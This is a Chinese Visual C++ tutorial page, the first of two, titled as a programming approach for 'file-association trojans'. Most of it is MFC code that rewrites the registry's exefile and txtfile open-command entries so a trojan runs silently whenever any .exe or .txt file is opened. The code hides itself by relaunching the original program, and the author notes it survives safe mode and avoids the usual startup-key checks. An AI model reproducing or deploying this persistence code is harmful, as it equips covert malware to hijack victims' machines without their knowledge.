设为首页  
联系我们  
加入收藏  
网页制作 冲浪宝典 图形图像 操作系统 软件教学 编程开发 认证考试 安全技术 站长专区 文学驿站 娱乐天地 游戏天地 办公软件
文章搜索
您的位置: 首页 >> 文章首页 >> 编程开发 >> Visual C++ >> 文件关联型木马的编程思路
精品推荐
Visual C++点击TOP10
·用WINSOCK实现聊天室的VC++程序设计
·利用mfc编写activex控件
·用vc实现生产者消费者问题
·DirectX8.0
·C/C++ 大量经典编程书籍下载
·VC快捷键大全
·CreateFileMapping的MSDN翻译和使用心得
·Windows环境下的麦克风录音系统
·挂钩Windows API
·如何开发OPC Server
编程开发点击TOP10
·数字小键盘指法练习
·用C语言编通讯录程序(初学者级别的)
·ASP.NET 程序中常用的三十三种代码
·我写的Java学生成绩管理系统源代码
·CHK文件恢复工具
·java笔试题
·Modem 常用AT指令集
·异常java.sql.SQLException: Io exception:The Network Adapter could not establish connection
·单片机模拟I2C总线及24C02(I2C EEPROM)读写实例(源代码)
·C++经典电子书下载
精选专题

文件关联型木马的编程思路

作者: 来源:网络文章 时间:2005-12-13 18:12:34

文件关联型木马的编程思路(1)

我们知道一般情况下想在开机启动程序,就要把程序写在注册表中的

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService

等环境中,由于这个值大家都比较熟悉所以很容易被查出,而且进入了windows保护模式这些程序是不会运行的,但是如果我们把我们的程序在注册表中进行了关联却收到了很好的结果。

在注册表HKEY_CLASSES_ROOT\exefile\shell\open\command中的值就是可执行程序*.exe 文件的关联处,缺省为“"%1" %*”,如果把这个程序改为我们的木马程序,那样的话,每执行一个可执行程序就会执行我们的程序,而不会再执行原有的程序,这样我们的木马就起动了,我们要做的工作就是我们的木马启动后,再执行原有的程序,这样对于一般的人来看好像什么事也没发生过。好了心动不如行动,我们开始动手做一个吧。

 XML:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

l         首先用vc建立一个基于对话框的程序srart

CStartDlg加入公有变量       HANDLE hMutex;防止我们的木马运行多次。

l         CStartDlg::OnInitDialog()中加入如下函数:

       CString str;

       str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得传入的命令行参数

       const char *MutexObject="MyStart";//建立互斥对象

       hMutex=NULL;

       hMutex=::CreateMutex(false,false,MutexObject);

       if(hMutex!=NULL)

       {

              DWord err=GetLastError();

 

              if(err==ERROR_ALREADY_EXISTS) ::PostQuitMessage(0);//如果发现同一程序已经运行,则退出

             

       }

       if(str!="")

       {

              CString temp;

              char ch;

              int length =str.GetLength();

              for(int i=0;i<length;i++)

              {

                     ch=str.GetAt(i);

                     if(ch=='\\')

                            temp=temp+"\\\\";

                     else temp=temp+ch;

                    

              }      

              temp = temp.Left(temp.GetLength() - 2);

                     temp = temp.Mid(1);     //上面的函数是把字符串中所有的”\”变为”\\”

              char str1[]="\"%1\" %*"; 

              ::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",

                     REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);

       // 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。

                ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序

                }

//在程序执行完成后,再把注册表改为我们要启动的木马程序的

       TCHAR str2[256];

    // 得到程序全路径名

       GetModuleFileName( NULL, str2, 255 );

       strcat(str2," \"%1\" %*");

              ::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",

                     REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。

 

同样的我们也可以将其它文件进行关联,例如将文本文件进行关联,在CStartDlg::OnInitDialog()中重新加下代码

       CString str;

       str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得传入的命令行参数

       const char *MutexObject="MyStart";//建立互斥对象

       hMutex=NULL;

       hMutex=::CreateMutex(false,false,MutexObject);

       if(hMutex!=NULL)

       {

              DWORD err=GetLastError();

 

              if(err==ERROR_ALREADY_EXISTS) ::PostQuitMessage(0);//如果发现同一程序已经运行,则退出

             

       }

       if(str.Find("txt")!=-1)

       {

              CString temp;

              char ch;

              int length =str.GetLength();

              for(int i=0;i<length;i++)

              {

                     ch=str.GetAt(i);

                     if(ch=='\\')

                            temp=temp+"\\\\";

                     else temp=temp+ch;

                    

              }      

              temp = temp.Left(temp.GetLength() - 2);

                     temp = temp.Mid(1);     //上面的函数是把字符串中的"\"变为"\\"

              char str1[]="\"%1\" %*"; 

             

       // 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。

               ShellExecute(NULL,"open","notepad.exe",temp,NULL,SW_SHOW);//执行原有的程序

                }

//在程序执行完成后,再把注册表改为我们要启动的木马程序的

       TCHAR str2[256];

    // 得到程序全路径名

       GetModuleFileName( NULL, str2, 255 );

       strcat(str2," \"%1\" %*");

              ::RegSetValue(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",

                     REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//经过上述过程只要程序一运行就会执行我们的start 程序了。      

       当然了这些程序在自己的机器上运行后还是要恢复的下面的函数就可以帮助进行恢复了

char str2[]="NOTEPAD.EXE %1";

              ::RegSetValue(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",

                     REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

              char str1[]="\"%1\" %*";

                     ::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",

                     REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);

       当然了这个程序在win98下运行比较正常,在win2000下无法打开桌面上的文件夹,再也就没什么问题了。如果谁知道,请告诉我,

sunyuzhe@263.net

共2页 9 7 [1] [28 :>

文件关联型木马的编程思路 相关文章:
文件关联型木马的编程思路 相关软件:
特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
转载请注明来源:http://www.xgdown.com